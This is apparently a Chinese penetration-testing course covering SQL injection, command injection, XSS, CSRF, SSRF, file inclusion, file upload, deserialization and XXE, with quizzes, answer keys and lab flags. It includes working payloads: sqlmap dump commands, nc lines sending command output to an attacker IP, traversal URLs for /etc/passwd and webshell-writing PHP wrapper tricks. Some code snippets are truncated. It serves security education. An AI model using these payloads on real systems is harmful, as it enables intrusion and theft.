什么是渗透测试工程师,渗透测试工程师是做什么的? 渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。渗透测试工程师这一职位,主要有以下几点:

岗位职责: 根据公司的业务开展安全测试; 编写和执行测试用例,安全测试报告,编写安全方案文档; 网络、Web的漏洞挖掘; 协助进行项目的代码审计工作。 任职要求: 具有良好的沟通能力和团队合作精神,良好的职业道德; 熟悉常见的脚本语言,能够进行web渗透测试、恶意代码检测和分析; 了解源代码安全审计; 掌握Python/C/Java至少一种开发语言,能编写相应的安全工具; 熟悉各种攻防技术以及安全漏洞原理,有过独立分析漏洞的经验。 加分项: 有较强的漏洞挖掘能力、审计过流行软件框架代码,曾挖掘出高危漏洞。 实战渗透经验丰富者优先。

渗透测试工程师与黑客的区别? 渗透测试是提供目标网络中所存在的所有漏洞的清单。渗透测试的目标是向公司展示,攻击者可以利用这些漏洞来进行攻击的方式。渗透测试是模拟黑客攻击测试,但两者也有区别,渗透测试是“面”的测试,黑客攻击是“深度”测试。前者涉及内容更加广泛,后者讲究的是破坏性。
以下哪一项是渗透测试工程师不能做的?|收集情报信息,并进行分析。|进行漏洞挖掘,并撰写报告。|!使用漏洞添加账号,方便下次访问|提交渗透测试报告
准备好了的话,就开始我们的课程学习吧!

SQL注入漏洞

SQL 是用于访问和处理数据库的标准的计算机语言。 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-sql%E6%B3%A8%E5%85%A5.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/15571400_1566464207.png

以下不属于SQL注入分类的是|时间盲注|堆叠注入|报错注入|!反射注入

SQL注入可以造成的直接危害不包括|查看数据库数据|向Web目录写入Webshell|!向内网进行横向移动|拒绝服务攻击

关于SQL注入攻击,下面的说法正确的有|SQL注入攻击不会造成危害|!SQL是一种结构化查询语言|这种攻击通过电子邮件实现|这种攻击对象是将SQL病毒注入内网,引起内网崩溃|!该攻击是通过在受害者计算机上执行SQL语句,达到窃取秘密的目的

SQL注入练习|使用SQL注入绕过登录检测|https://rimovni.exeye.run/fisiv/login|Up

SQL注入-扩展学习

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。


安装 sqlmap|http://sqlmap.org/#download

sqlmap注入常见用法:

检查注入点|sqlmap -u "http://ooxx.com/a.php?id=1" 列数据库信息 |sqlmap -u "http://ooxx.com/a.php?id=1" --dbs 指定数据库名列出所有表|sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname --tables 指定数据库名表名列出所有字段|sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename --columns 定数据库名表名字段dump出指定字段|sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename -C columnname --dump cookie 注入|--cookie=COOKIE 在需要登录的地方,需要登录后的cookie 执行指定的 SQL 语句|--sql-query=QUERY 代理注入|--proxy="http://127.0.0.1:8087"

SQLI FUZZ字典|https://raw.githubusercontent.com/TheKingOfDuck/fuzzDicts/master/sqlDict/sql.txt

《MySQL_5.1中文参考手册-函数和操作符》|https://resource-ssl.smartgslb.com/resources/MySQL_5.1_Reference_Manual-zh-Function_and_Operator.pdf

sqlmap练习|练习sqlmap的使用,尝试获取flag|https://rimovni.exeye.run/hugkudure/hello|ll0ve_5tUdy_Up

命令注入

命令注入是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。
http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/45253500_1566464207.png

以下关于命令(代码)注入漏洞说法不正确的是|命令注入漏洞是一种危害很大的漏洞|代码注入可以通过特定的payload实现成为命令注入|!代码注入和命令注入没有任何关系|命令注入攻击可以在目标系统上执行命令

命令注入产生的原因是?|!用户输入被当做命令执行或用户可以控制命令执行函数的参数|用户获得管理员权限才能进行命令注入|不管用户输入什么都会被当做命令执行|命令注入是程序员故意留下的命令执行入口

命令注入-扩展学习


ping -c 4 xxx
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行echo `ls -a` 将会首先执行ls并捕获其输出信息。然后再将它传递给echo,并将ls的输出结果打印在屏幕上,这被称为命令替换。由于反引号之间的命令优先被执行,所以之后的命令即便执行失败也无关紧要。以下是payload注入及结果的命令表:
命令|结果 ping -c 4 114.114.114.114`sleep 6`|sleep命令执行,命令替换在命令行中。 ping -c 4 "114.114.114.114`sleep 6`"|sleep命令执行,命令替换在复杂的字符串双引号之间。 ping -c 4 $(echo 114.114.114.114`sleep 6`)|sleep命令执行,命令替换在使用不同符号时(下面示例)。 ping -c 4 '114.114.114.114`sleep 6`'|sleep命令不执行,命令替换在简单字符串中不起作用(单引号之间)。 ping -c 4 "`echo 114.114.114.114`sleep 6"|sleep命令不执行,使用相同符号时命令替换不起作用。

ping -c 4 '114.114.114.114$(sleep 6)'

这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。当使用命令替换来查找命令注入时,务必确保payload已被替换,避免出现上述表中的最后一种情况。

ping -c 4 '114.114.114.114; sleep 6'

命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。以下是payload注入及结果的命令表:
命令|结果 ping -c 4 114.114.114.114;sleep 6|sleep命令执行,命令在命令行中顺序执行。 ping -c 4 "114.114.114.114;sleep 6"|sleep命令不执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。 ping -c 4 $(echo 114.114.114.114;sleep 6)|sleep命令执行,排序命令在命令替换中起作用。 ping -c 4 '114.114.114.114;sleep 6'|sleep命令不执行, 附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。 ping -c 4 `echo 114.114.114.114 sleep 6`;|sleep命令执行,排序命令在命令替换中起作用。

ping -c 4 '114.114.114.114|sleep 6'

除此之外还可以使用命令管道符,通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。例如执行cat /etc/passwd | grep root这条命令时,它将捕获cat /etc/passwd的输出并将其传递给grep root,最终显示与root匹配的行。当第一条命令失败时,它仍然会执行第二条命令。以下是payload注入及结果的命令表:
ping -c 4 114.114.114.114|sleep 6|sleep命令被执行,管道输出在命令行正常执行。 ping -c 4 "114.114.114.114|sleep 6"|sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。 ping -c 4 $(echo 114.114.114.114|sleep 6)|sleep命令被执行,管道输出在命令替换中起作用。 ping -c 4 '114.114.114.114|sleep 6'|sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。 ping -c 4 `echo 114.114.114.114|sleep 6`|sleep命令被执行,管道输出在命令替换中起作用。

如何分辨命令注入和命令盲注?
我们需要确定它是一个常规命令注入还是命令盲注。两者的区别在于,命令盲注不会在响应中返回命令的输出。通用型的命令注入,将返回响应中执行命令的输出。通常sleep命令就可以为我们很好的判断。当然,除此之外你还可以使用更多的命令来进行验证,如执行id,hostname或whoami。服务器的主机名可用于确定受影响的服务器数量。
没有企业愿意让你窥探到他们的机密信息。在实际测试中利用该漏洞时,最好先取得目标企业的授权。如果仅仅是想要证明漏洞的危害,那么id,hostname或whoami这些命令则已经足够。

如何检测命令盲注?
命令盲注输出将不会返回给用户,所以我们需要通过其它方法来提取输出。最直接的方法是将输出offload到你的服务器。我们只需在服务器上执行nc -l -n -vv -p 80 -k这条命令,并配置防火墙允许80端口入站连接。 接下来我们就可以使用nc,curl,wget,telnet或任何其他将数据发送工具,将输出发送给你的服务器:
ping -c 4 '114.114.114.114 && hostname | nc IP 80'
此时如果一切正常,我们就可以在我们的服务器上获取到hostname命令的输出信息:
nc -l -vv -p 80 -k
在上面的示例中,nc用于将命令的输出发送到你的服务器。但是,nc可能会被删除或无法执行。因此我们可以先通过以下测试命令,来判断目标服务器是否存在我们所需的命令工具。如果任何命令的执行时间增加了5秒,那么就证明该命令存在。
curl -h && sleep 6 wget -h && sleep 6 ssh -V && sleep 6 telnet && sleep 6
你可以使用任意一个命令将输出发送到你的服务器 其实我们还可以利用sleep命令提取输出。这里的技巧是将命令的结果传递给sleep命令。这里我为大家举一个例子:sleep $(hostname | cut -c 1 | tr a 5),让我们来简单分析下。
- 我们执行的命令为hostname。我们假设它返回hacker.local。 它需要输出并将其传递给cut -c 1。这将选取hacker.local的第一个字符h。 接着通过tr命令将字符a替换为5。 然后将tr命令的输出传递给sleep命令,sleep h被执行将会立即出现报错,这是因为sleep后跟的参数智能为一个数字。然后,目标使用tr命令迭代字符。执行sleep $(hostname | cut -c 1 | tr h 5)命令,将需要5秒钟的时间。这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。
如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。hacker.local为12个字符。hostname命令返回主机名和一个新行,因此wc -c将显示13个字符。经过测试,脚本的执行时间最短需要3秒钟。
ping -c 4 '114.114.114.114 && sleep $(hostname | wc -c)'
通过以上的payload脚本执行,意味着主机名为12个字符:16 – 3 (基线) – 1 (新行) = 12个字符。当在Web服务器上执行此payload时,输出结果可能会有所不同:当请求由不同的服务器处理时,主机名的长度也可能会改变。 上述方法适用于较小的输出,但读取文件就可能需要花费较长的时间。如果出站连接被阻止并且长时间的无法读取输出,这里还有一些其他的技巧:

在服务器上执行端口扫描,并且基于暴露的服务确定提取输出的方式。
- FTP:尝试将文件写入可以从中下载文件的目录。 SSH:尝试将命令的输出写入MOTD banner,然后只需SSH到服务器。 Web:尝试将命令的输出写入公共目录(/var/www/)中。

如果目标系统的防护措施做得比较到位,那么上述方法可能就会失效。具我多年的经验总结发现,在这些防护措施中使用最多的就是对于payload中空格的限制。那么对于这类防护有没有什么好的绕过办法呢?有。这里我们就要用到一种叫做花括号扩展的东西,利用它我们就可以创建没有空格的有效载荷了。以下测试在将用户输入传递给命令之前,它会从输入中删除空格。 以下payload会将命令的输出发送到外部服务器,并且没有使用任何空格:
ping -c 4 '114.114.114.114;hostname|{nc,xxx.xxx.xxx.xxx}'
作为渗透测试工程师,应当清楚的了解和掌握命令注入漏洞的利用及防护手段。只有这样才能避免此类问题的产生,维护企业和用户的利益。

XSS

XSS(Cross Site Scripting),即跨站脚本攻击,是一种常见的计算机安全漏洞。XSS通过在用户端注入恶意的可运行脚本,若服务器端对用户输入不进行处理,直接将用户输入输出到浏览器,则浏览器将会执行用户注入的脚本。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-XSS.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/55964100_1566464207.png

以下属于XSS漏洞的危害是|查看数据库数据|攻击服务端|!攻击客户端|拒绝服务攻击

以下不属于XSS漏洞的分类的是|!时间型|反射型|存储型|DOM型

以下关于XSS漏洞的说法正确的是|!XSS全称是Cross Site Script|XSS可以用来攻击服务端|反射型XSS会存储在服务端数据库中|XSS没有任何危害

XSS-扩展学习




XSStrike-高级XSS检测套件

XSStrike 安装|https://github.com/s0md3v/XSStrike
XSStrike是一个Cross Site Scripting检测套件,配备四个手写解析器,一个智能有效载荷生成器,一个强大的模糊引擎和一个非常快速的爬虫。 XSStrike不是像其他工具一样注入有效载荷并检查它的工作原理,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效载荷。以下是XSStrike生成的有效负载的一些示例:
}]};(confirm)()//\ .find(confirm)>z z
除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。
https://github.com/s0md3v/XSStrike/wiki/Usage

http://xssor.io/

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

https://raw.githubusercontent.com/LucaBongiorni/XSS.png/master/XSS2.png

练习题

1:删除任何出现的

以下说法,错误的是|%22>%3cscript>alert(%22xss%22)可以绕过检测|由于输入在执行过滤步骤后被解码,攻击者只需要对有效载荷中的选定字符进行URL编码|!攻击者无法绕过该检测机制|如果首先执行第4步,或根本不执行该步骤,攻击者将不可能避开上述过滤
【请在左侧输入input值,提交后,右侧将显示return返回的结果】

客户端请求伪造

CSRF(Cross-site request forgery)跨站请求伪造,跟XSS攻击一样,存在巨大的危害性。
http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-CSRF.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/80037600_1566464207.png

以下关于CSRF漏洞说法正确的是|CSRF漏洞中文是服务端请求伪造漏洞|!只有特定功能点下的CSRF漏洞才是有意义的|CSRF漏洞危害比命令注入漏洞还大|CSRF漏洞的原因是未过滤用户输入

CSRF漏洞的原理是?|经常点击不知来源的链接|!服务端没有校验请求来源|因为打开了很多浏览器|没有正确地访问目标网站

防御CSRF攻击的手段有哪些?|关闭防火墙、电脑管家等长时间占用系统内存的软件|!验证HTTP Referer字段|!在请求地址中添加token并验证|更改GET、POST等请求方式|!在HTTP头中自定义属性并验证

CSRF Payloads|https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection

总结回顾


XSS攻击流程



下列理解错误的是()|sql注入是指把sql命令插入到web表单的输入或者页面请求的查询字符串(url),欺骗服务器执行恶意的sql命令|!XSS是在用户不知情的情况下,冒充用户发送请求,伪造请求,在当前已登录的网站上执行恶意操作,比如恶意发帖、修改密码等|!CSRF是恶意用户将代码注入到网页上,其他用户在观看网页时就会受到被注入代码的影响|命令注入是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的

成功者与失败者之间的区别,常在于成功者能由错误中获益,并以不同的方式再尝试。

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

服务端请求伪造

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-SSRF.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/70316400_1566555894.png

产生SSRF的原因是什么?|受到病毒木马的攻击|!目标网站接受请求后在服务端末验证请求是否合法|目标网站权限被黑客所利用|目标网站可以向外网发送请求

哪些地方任意出现SSRF?|!网站的分析功能(通过url获取信息)|!在线翻译,通过url地址进行翻译|网站的登录注册表单|!PC到手机的转码服务(通过url地址把原地址内容转成适合手机阅读的情况)|!图片文字的加载、下载、收藏|网站的评论回复表单

关于CSRF与SSRF的区别,下列说法错误的是|CSRF是服务器端没有对用户提交的数据进行严格的把控|!CSRF是服务器允许访问服务器内网造成的|SSRF是服务器对用户提供的可控URL地址过于信任,没有经过严格检测|攻击者利用SSRF可以以此为跳板攻击内网或其他服务器|!攻击者利用SSRF可以对以正常用户身份进行访问|攻击者可以利用CSRF以用户的Cookie信息伪造用户请求发送至服务器

服务端请求伪造-拓展学习


java中的SSRF
SSRF(Server-Side Request Forge, 服务端请求伪造),攻击者让服务端发起指定的请求,SSRF攻击的目标一般是从外网无法访问的内网系统。 Java中的SSRF支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。相对于php,在 java 中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。 SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。例如:
// Request漏洞示例 String url = request.getParameter("url"); return Request.Get(url).execute().returnContent().toString();//发起请求

HttpURLConnection. getInputStream URLConnection. getInputStream Request.Get. execute Request.Post. execute URL.openStream ImageIO.read OkHttpClient.newCall.execute HttpClients. execute HttpClient.execute ……


SSRF修复方案

- 避免将请求响应及错误信息返回给用户 禁用不需要的协议及限制请求端口,仅仅允许http和https请求等 禁止url传入内网IP或者设置url白名单 禁止30x跳转

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java

练习-SSRF


有关SSRF的说法正确的是()|SSRF漏洞时客户端引起的安全漏洞|SSRF和SQL注入一样。通过让数据库执行SQL语句|利用SSRF漏洞不能读取主机本地的数据|!通过抓包分析发送的请求是否是由服务器发送的,从而判断是否存在SSRF漏洞

文件包含

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/91270500_1566555894.png

phpinfo() 是一个系统函数,包含了当前PHP的各种配置信息、扩展模块的信息等。以前有一种软件叫“探针”,专门用来探测服务器当前的PHP相关信息,现在随着虚拟主机的没落,已经越来越少人用了。 phpinfo() 常用于在系统上检查 配置设置 和 预定义变量。 phpinfo() 同时是个很有价值的、包含所有 EGPCS(Environment, GET, POST, Cookie, Server) 数据的调试工具。


程序猿通常会把可重复使用的函数写到单个文件中,在使用其它函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含;程序猿希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。请问这样做可能会产生什么影响?|造成SSRF漏洞,攻击者可借此访问内网信息|这样子可以极大的减轻程序猿的开发负担|!造成文件包含漏洞。导致攻击者可以调用一个恶意文件|会增大服务器压力,访问文件会生成很多访问请求

拓展学习

php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别

require:找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本 include:找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行include_once:此语句和include类似,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含 require_once:此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含

常见的敏感信息路径:
Windows系统

路径|包含信息 c:\boot.ini|查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml|IIS配置文件 c:\windows\repair\sam|存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini|MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD|MySQL root密码 c:\windows\php.ini|php配置信息

Linux/Unix系统

路径|包含信息 /etc/passwd|账户信息 /etc/shadow|账户密码文件 /usr/local/app/apache2/conf/httpd.conf|Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf|虚拟网站配置 /usr/local/app/php5/lib/php.ini|PHP相关配置 /etc/httpd/conf/httpd.conf|Apache配置文件 /etc/my.conf|mysql 配置文件

无限制本地文件包含漏洞
测试代码:
; include($filename); ?>
测试结果: 通过目录遍历漏洞可以获取到系统中其他文件内容:

http://www.xxx.com/x.php?filename=../../../../../../../../etc/passwd


session文件包含漏洞

利用条件:
session的存储位置可以获取,有两种方法获取。

1. 通过phpinfo的信息可以获取到session的存储位置。 通过phpinfo的信息,获取到 session.save_path 为 /var/lib/php/session 2. 通过猜测默认的session存放位置进行尝试。 如linux下默认存储在/var/lib/php/session目录下

session中的内容可以被控制,传入恶意代码。 示例:
; $_SESSION
=$xxx; ?>

漏洞利用:
通过上面的分析,可以知道xxx传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过xxx写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。 当访问 http://www.xxx.com/xx.php?xxx= 后,会在 /var/lib/php/session 录下存储session的值。 攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
有限制本地文件包含漏洞绕过

%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4 测试代码:
; include($filename . ".html"); ?>
payload:

http://www.xxx.com/xx.php?filename=../../../../../../../boot.ini%00


路径长度截断
条件:windows,点号需要长于256 linux,长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃; Linux下目录最大长度为4096字节,超出的部分会被丢弃。
测试代码:
; include($filename . ".html"); ?>
payload:

http://www.xxx.com/xx.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././


点号截断
条件:windows OS,点号需要长于256

与路径长度截断类似,长度大于规定程度即可


远程文件包含漏洞
测试代码:
; include($filename); ?>
通过远程文件包含漏洞,包含php.txt可以解析 payload:

http://www.xxx.com/xx.php?filename=http://192.168.x.x/php.txt


有限制远程文件包含漏洞绕过
测试代码:
. ".png"); ?>
代码中多添加了png后缀,导致远程包含的文件也会多一个png后缀。
三种绕过方法
?号绕过

http://www.xxx.com/xx.php?filename=http://192.168.x.x/php.txt?

#号绕过

http://www.xxx.com/xx.php?filename=http://192.168.x.x/php.txt%23

空格绕过

http://www.xxx.com/xx.php?filename=http://192.168.x.x/php.txt%20


PHP伪协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
php:// 输入输出流
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。 用法:

?filename=php://filter/convert.base64-encode/resource=xxx.php 或者 ?filename=php://filter/read=convert.base64-encode/resource=xxx.php


条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
php://filter 参数
参数|描述 resource=<要过滤的数据流>|指定了你要筛选过滤的数据流。(必选) read=<读链的筛选列表>|可以设定一个或多个过滤器名称,以管道符(\|)分隔。(可选) write=<写链的筛选列表>|可以设定一个或多个过滤器名称,以管道符(\|)分隔。(可选) <;两个链的筛选列表>|任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
测试代码:
; include($filename); ?>

php://input
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。 用法:?file=php://input数据利用POST传过去。
php://input (读取POST数据)
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项; 测试代码:


php://input(写入木马)

; include($filename); ?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。 如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
)?>'); ?>

如果不开启allow_url_include会报错!

php://input(命令执行)
测试代码:
; include($filename); ?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。 payload:

http://www.xxx.com/xx.php?filename=php://input


如果不开启allow_url_include会报错!

file://伪协议 (读取文件内容)
通过file协议可以访问本地文件系统,读取到文件的内容 测试代码:
; include($filename); ?>

data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的

data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4


data://(读取文件)
和php伪协议的input类似,碰到file_get_contents()来用


注意:闭合;
如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:
; include($filename); ?>
payload:

http://www.xxx.com/xx.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==


phar://伪协议
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。 用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 测试代码:
; include($filename); ?>
payload:

http://www.xxx.com/xx.php?filename=phar://shell.png/shell.php post:cmd=phpinfo();


zip://伪协议
zip伪协议和phar协议类似,但是用法不一样。 用法:?file=zip://
#
zip://xxx.png#shell.php。 条件: PHP > =5.3.0,注意在windows下测试要5.3.0; include($filename); ?>
payload:

http://www.xxx.com/xx.php?filename=zip://shell.png%23shell.php post:cmd=phpinfo();

任意文件上传

攻击者通过上传木马文件,直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/14965200_1566555895.png

为什么存在任意文件上传漏洞?|上传的文件存在病毒|!没有对用户提交的数据校验或者过滤不严|上传的文件为空|上传文件后不能正常读取
修复方案:
- 对文件格式限制,只允许某些格式上传 对文件格式进行校验,前端跟服务器都要进行校验(前端校验扩展名,服务器校验扩展名、Content_Type等) 将上传目录放置到项目工程目录之外,当做静态资源文件路径,并且对文件的权限进行设定,禁止文件下的执行权限。

反序列化

把磁盘或网络节点上的字节序列恢复到对象的过程称为对象的反序列化,在Java中比较常见,ObjectInputStream 类的 readObject() 方法用于反序列化。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/36935600_1566555895.png
序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
PHP反序列化之phar
phar是php压缩文档,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file:// php:// 等类似,也是一种流包装器。它由4个部分组成:
- stub phar文件标识,格式为 xxx manifest 压缩文件的属性等信息,以序列化存储 contents 压缩文件的内容 signature 签名,放在文件末尾

这里有两个关键点: 一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制; 二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

例如下面的代码:
)){ $filename=$_GET
; class MyClass{ var $output = 'echo "hello";'; function __destruct(){ eval($this -> output); } } file_exists($filename); }else{ highlight_file(__FILE__); }
对于这段代码的利用比较简单,可以直接生成 phar 文件,然后利用网站的上传图片功能,结合 file_exists 函数进行phar反序列化利用,生成代码如下:
);' } $o = new MyClass(); $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>

如何防御?

- 在文件系统函数的参数可控时,对参数进行严格的过滤 严格检查上传文件的内容,而不是只检查文件头 在条件允许的情况下禁用可执行系统命令、代码的危险函数

下列有关反序列化漏洞说法错误的是?|序列化可以把对象的字节序列永久的保存在硬盘中|反序列化漏洞不是病毒导致的|!用户输入任意代码都可以造成反序列化漏洞|可以通过构造恶意请求报文远程执行命令,危害较大

XML实体注入

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-XML.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/60982100_1566555895.png

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。


**内部声明DTD** > **引用外部DTD* 或者

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。


